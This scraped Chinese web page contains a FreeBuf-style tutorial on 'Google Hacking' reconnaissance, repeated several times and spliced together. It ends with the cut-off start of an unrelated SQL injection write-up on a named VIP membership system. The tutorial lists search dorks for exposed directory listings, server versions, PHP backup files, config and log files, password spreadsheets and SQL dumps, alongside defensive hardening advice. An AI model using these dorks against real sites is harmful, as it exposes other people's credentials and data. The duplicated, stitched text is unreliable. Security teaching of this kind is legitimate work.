  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  四、NOSNIPET 去除摘要
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载 查看全部

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  7.谷歌自定义搜索引擎
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  更优化的查找
  实例:
  
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  四、NOSNIPET 去除摘要
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载

php抓取网页数据实例 Google Hacking信息刺探的攻与防

网站优化优采云 发表了文章 • 0 个评论 • 80 次浏览 • 2022-06-23 23:06 • 来自相关话题

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  
  7.谷歌自定义搜索引擎
  
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  
  更优化的查找
  实例:
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  
  四、NOSNIPET 去除摘要
  
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载 查看全部

  php抓取网页数据实例 Google Hacking信息刺探的攻与防
  我们都知道渗透测试中信息收集的重要性,是第一步也是最重要的一步。有的人渗透测试使出浑身解数破门而不入,可对有的人来说却如同囊中取物,也许功力就是差在信息收集,那么现在就让我带领各位读者重新认识一下Google———你军火库中的“大咖” 。(前面基础部分希望大家不要错过,说不定有你不知道的秘密,各位服务器管理员也不要错过最后的彩蛋哦!)
  0X01 你不得不知道的谷歌基础一、谷歌周边
  1.谷歌图片
  谷歌图片是一个图片识别的非常强大的工具,一张你不知道来源的图片上传之后不仅能知道来源,还能自动寻找相似图片。
  
  2.谷歌地球
  坐看世界各地,笑看云卷云舒,渗透之前看看渗透的地方长啥样对吧…
  
  3.谷歌论坛
  信息收集的重要地点,谷歌背后的繁荣之地(多得是你不知道的事)
  
  4.谷歌日历
  记录你生活的点点滴滴,有时却给hacker留下了巨大的财富
  5.谷歌地图
  找到你回家的路,跑路的重要工具…..
  6.谷歌高级搜索
  这个功能异常强大,更加能满足你的需要
  
  7.谷歌自定义搜索引擎
  
  8.GHDB 谷歌黑客数据库
  这一部分我会放在github中会仔细的讲一下,链接地址在本文下方,希望大家关注
  
  二、搜索基础
  1.查询是不区分大小写(OR在表示布尔含义时一定要大写)
  2.在谷歌搜索的时候只能当做*一个单词使用
  3.谷歌有32词的搜索限制(当然可以通过*代替某些单词突破这种限制)
  4.短语搜索要带上单引号
  5.AND对谷歌来说是多余的,谷歌会自动查询你输入的一切
  6.谷歌会忽略特别常见的字符,但是前面加上”+”强制搜索(+后面不能有空格)
  7.NOT可以使用”-“(减号代替)
  8.布尔查询OR/“|”
  0X02 不得不说的高级运算符一、总览
  intitle,allintitle
  inurl,allinurl
  filetype
  allintext
  site
  link
  inanchor
  datarange
  cache
  info
  related
  phonebook
  rphonebook
  bphonebook
  uthor
  group
  msgid
  insubject
  stocks
  define
  使用方法:
  operator:search
  注意点:
  1.在操作符、冒号、搜索项之间没有空格
  2.all运算符(以all开头的运算符)都是有些奇怪的,通常一个查询只能使用一次,而且不能和其他运算符一起使用
  ①allintitle 会告诉谷歌,它后面的每一个单词或者短语都要在标题中出现
  ②allintext 在除了标题、URL、链接以外的任何地方找到某个内容(它后面的每一个单词或者短语都要在内容中出现)
  3.intitle:”index of”等价于 intitle:index.of
  因为‘.’休止符能够代替任何字符(这个技术也提供了一个无需键入空格和两边引号的短语)
  4.intitle:”index of” private 能返回标题中有index of 以及在任何地方有 private的页面(intitle只对其后面第一个搜索项有效)
  二、常见运算符解释
  site 把搜索精确到特定的网站
  site 允许你搜索仅仅位于一个特定服务器上的或者在一个特定域名里的页面
  filetype 搜索特定后缀的文件
  搜索以一个特别的文件扩展名结尾的页面,谷歌会以网页快照的形式来将这种格式转换成html页面,但是你直接点击标题就会下载
  link 包含指定网页的链接的网页
  搜索包含指定网页的链接的网页,link后面跟的是完整的URL可以包含目录名、文件名、参数等,信息量越大查询结果越精确。
  注意
  1. 不要认为 Link能搜索链接中的文本,inanchor才执行的是这个操作,如果输入错误,那么并不会执行link查询而是把[link:短语]当做一个整体直接默认查询
  2. link运算符不能和其他运算符一起使用
  inanchor 寻找链接的锚点
  inanchor 用于寻找链接的锚点,或者在链接中显示的文本(就是显示在页面上的提供点击的文字)
  cache 显示页面的缓存版本
  直接跳转到页面的缓存版本
  numberange 搜索一个数字
  numberange 需要两个参数,一个低位数字,一个高位数字,中间用连字符分割
  例如:
  为了找到12345 numberange:12344-12346
  注意:
  1.这个运算符还有简化版, 12344..12346
  2.可以和其他运算符一起使用
  daterange 搜索在特定日期范围内发布的页
  谷歌每次重新抓取一个网页网页的日期就会刷新
  两个参数日期都必须是自公元前4713年1月1日起经过的天数,中间用连字符分割但(不如使用谷歌的高级搜索引擎实现)
  info 显示谷歌的总结信息
  显示一个网站的总结信息还提供了可能关于该网站的其他搜索链接
  注意:
  info不能和其他运算符一起使用
  related 显示相关站点
  参数是一个URL
  注意:
  1.点击类似网页链接和使用高级搜索引擎能实现相同的功能
  2.不能和其他运算符一起使用
  define 显示一个术语的定义
  此处语言苍白……
  0X03 Google Hacking 基础文件类一、目录列表的查找
  目录列表能列出存在于一个web服务器上的文件和目录
  查找目录列表
  实例:
  intitle:index.of 这里的休止符代表的是单个字母的通配符
  
  更优化的查找
  实例:
  intitle:index.of “parent directory”
  intitle:index.of name size
  二、(特定版本的)服务器
  能被攻击者用来决定攻击web服务器最佳方法的一小段信息,就是确切的服务器版本
  实例:
  intitle:index.of “server at”
  intitle:index.of “Apache/1.3.27 Server at”
  
  我们还可以确定服务器的操作系统、模块和其他信息
  我们会把操作系统写在括号里
  Apache/1/3/26(Unix)
  CentOS
  Debian
  Debian GNU/Linux
  Fedora
  FreeBSD
  Linux/SUSE
  Linux/SuSE
  NETWRE
  Red Hat
  Ubuntu
  UNIX
  Win32
  攻击者能结合这个操作系统标签里的信息以及web服务器的版本制定有针对性的攻击
  三、扩展遍历技术
  经常会出现web页面的备份文件,他们有泄露源码的倾向。常常在配置错误的时候出现这种问题,把php代码备份到不是以php结尾的文件中,比如bak
  实例:
  intitle:index.of index.php.bak
  inurl:index.php.bak
  
  四、配置文件的查找
  配置文件的存在说明服务就在附近
  实例:
  filetype:conf inurl:firewall
  
  如果你能知道配置文件的名字也是一个非常好的搜索方式,当然你可以从配置文件中抽取特定的字符串来查询,如果能再配上软件名字的话就效果更好了
  注意:
  1.除了配置文件名conf的使用,也可以组合其他的通用的命名规则来查找其他等价的命名规则
  inurl:conf OR inurl:config OR inurl:cfg
  五、日志文件的查找
  日志文件中也记录着日志很多的敏感信息
  日志文件也有一个默认的名字可以被我们用作基础的搜索,最常见的扩展名就是log了
  实例:
  filetype:log inurl:log
  ext log log
  filetype:log username putty
  
  六、office文档
  实例:
  filetype:xls inurl:password.xls
  filetype:xls username password email
  
  数据库、后台类一、登录入口
  登录入口是第一道防线,很容易泄露软硬件的信息
  查找入口一般使用关键字login
  大的厂商一般会把版权的注意事项放在页面的底部
  实例:
  intitle:login intext:版权信息
  
  二、错误消息
  数据库的错误消息能够用来分析操作系统和web服务器的版本,还可能更多
  SQL command not properly ended
  这个表示没有在sql语句的最后找到正确的终止符,所以可能会被用于注入攻击
  三、数据库的转储
  数据库基于文本的转换在网络上是很常见的,使用数据库的转储数据库管理员能完整地重建数据库,也就意味着一个完整的转储的细节并不只是数据表格的结构还有每张表的每一条记录。
  攻击者可以搜索转储的标题 # Dumping data for table并且通过执行必要的关键词 username password等能够缩小范围
  实例:
  Dumping data for table(user|username|password|pass)
  还可以关注一些由别的工具添加到数据库转储中最后的文件名
  实例:
  filetype:sql sql
  
  四、真实的数据库文件
  攻击者还能直接搜索到数据库本身,并不适合所有的数据库系统,只适合哪些有着特定名字或者扩展名的数据库,因为是二进制文件,所以没法在里面搜索字符
  实例:
  filetype:mdb inurl:com
  
  0X4 如何防御Google Hackingweb 服务器的安全防护
  一、目录列表和丢失的索引文件
  .htaccess 可以来防止目录的内容未授权的访问,但是不当的配置还会让这个文件可见甚至可读
  在 apache 的服务器上可以通过 httpd.conf文件中的单词indexs前加一个连字符或者减号来禁止目录列表
  二、robots.txt
  #开头的行为会被认为是注释,每一个不以#开头的行为都会以 User- agent或者是一个 disallow 声明开头,表示禁止爬虫爬行的位置,但是也可以允许特定的爬虫访问。
  三、NOARCHIVE缓存杀手
  有时候你希望google住抓取某个页面但是又不希望对页面的副本进行缓存,或者搜索结果中显示缓存链接,这个要求可以通过META实现
  
  如果你只想阻止谷歌对文件的缓存,可以在HEAD节里使用
  
  四、NOSNIPET 去除摘要
  
  另外这个功能还有个副作用,就是谷歌也不能缓存,一举两得。
  五、十五条防止信息泄露和服务器入侵的措施
  1.检查所有的文档能否被Google搜索到,避免敏感文件能出现在公众的视野中
  2.选择一个强大的自动化工具来扫描你网站上是否有信息的泄露
  3.不要使用默认的登录入口,以防止登录入口被hacker猜解
  4.关闭数据库的远程管理工具
  5.删除明显的显示软件版本的信息
  6.配置服务器只能下载特定的文件类型(白名单比黑名单要简单有效得多)
  7.正确的配置你的服务器,不要抱有侥幸心理,任何的松懈带来的灾难是巨大的
  8.不要把源码的备份放在未经授权就能访问的地方,并且及时删除网站上的无用的备份文件
  9.不要使用弱密码,防止攻击者轻易攻破后台
  10.登录请加上强度相对较高的验证手段,防止攻击者采用爆破的手段
  11.关闭服务器不必要的端口
  12.请不要使用网站上的任何信息作为密码,否则都属于容易爆破的类型
  13.备份的源代码请经过专业的混淆,防止被下载之后轻易读取到内容
  14.及时更新服务器的系统,修复潜在的漏洞
  15.安装正规的安全防护软件
  0X04 总结
  亲爱的读者,读到这里真的是辛苦了,我上面讲的这些只是冰山一角,Google能做到的绝对超乎你的想象,如果大家对渗透测试、Google Hacking或者服务器防范感兴趣可以访问我的github我会把我了解的更多的信息告诉你,而且还会介绍一些谷歌黑客数据库的知识(如果喜欢的话也欢迎你们fork或者star)
  下面是我的github地址:
  * 本文作者:K0rz3n,本文属FreeBuf原创奖励计划,未经许可禁止转载

php抓取网页数据实例 记一次SQL注入实战

网站优化优采云 发表了文章 • 0 个评论 • 73 次浏览 • 2022-06-19 12:36 • 来自相关话题

  php抓取网页数据实例 记一次SQL注入实战
  刚发现漏洞时,我就已经成功实现了注入,因为怕发到网上后被玩坏,一直没有发布。今天去看了看,原网页已经无法访问了,现在发出来应该就没有什么大问题了。
  本文仅供学习交流,目的是为了构建更加安全的网络环境!注入地址
  某VIP会员专用系统
  相关工具
  注入工具:
  超级SQL注入工具【SSQLInjection】
  明小子
  抓包工具:
  Wireshark
  注入过程
  1.测试漏洞
  1)测试 '
  首先打开网页,如下图:
  一看这种很low的系统就有可能存在漏洞
  废话不多说,输入单引号" ' "进行测试:
  
  输入单引号
  
  测试结果
